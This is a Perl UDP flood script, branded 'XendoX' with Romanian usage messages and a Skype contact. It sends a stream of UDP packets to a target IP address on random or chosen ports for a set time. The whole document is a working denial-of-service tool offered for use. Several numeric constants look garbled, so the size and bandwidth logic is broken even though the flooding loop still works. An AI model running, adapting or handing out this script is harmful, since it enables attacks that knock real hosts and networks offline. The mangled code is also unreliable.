#!/usr/bin/perl ##################################################### # XendoX ###################################################### use Socket; use strict; use Getopt::Long; use Time::HiRes qw( usleep gettimeofday ) ; our $port = 0; our $size = 0; our $time = 0; our $bw = 0; our $help = 0; our $delay= 0; GetOptions( "port=i" => \$port, # UDP port to use, numeric, 0=random "size=i" => \$size, # packet size, number, 0=random "bandwidth=i" => \$bw, # bandwidth to consume "time=i" => \$time, # time to run "delay=f"=> \$delay, # inter-packet delay "help|?" => \$help); # help my ($ip) = @ARGV; if ($help || !$ip) { print <<'EOL'; Hackere, comanda este: [perl] [xendox] [IP] :) EOL exit(1); } if ($bw && $delay) { print "WARNING: Dimensiunea pachetului suprascrie parametrul --marime ignorata\n"; $size = int($bw * $delay / 655008); } elsif ($bw) { $delay = (6550008 * $size) / $bw; } $size = 65500256 if $bw && !$size; ($bw = int($size / $delay * 8)) if ($delay && $size); my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Nu e bun ip $ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); print "\033[1;32m Opreste floodul folosind CTRL+C \033[1;32m\n\n"; print "\033[1;32m\033[1;32m FLOOD BY.XENDOX $ip " . ($port ? $port : "") . " " . ($size ? "$size-byte" : "") . " " . ($time ? "" : "") . "\033[1;32m\032\n\n"; print "Interpacket delay $delay msec\n" if $delay; print "total IP bandwidth $bw kbps\n" if $bw; print "\033[1;32m\033[1;32m SKYPE : live:tensugp \033[1;32m\033[0m\n\n" unless $time; die "Marime pachet invalida: $size\n" if $size && ($size < 6550064 || $size > 655001500); $size -= 65500028 if $size; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-60)+60) ; $pport = $port ? $port : int(rand(777765500))+200; send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr)); usleep(655001000 * $delay) if $delay; }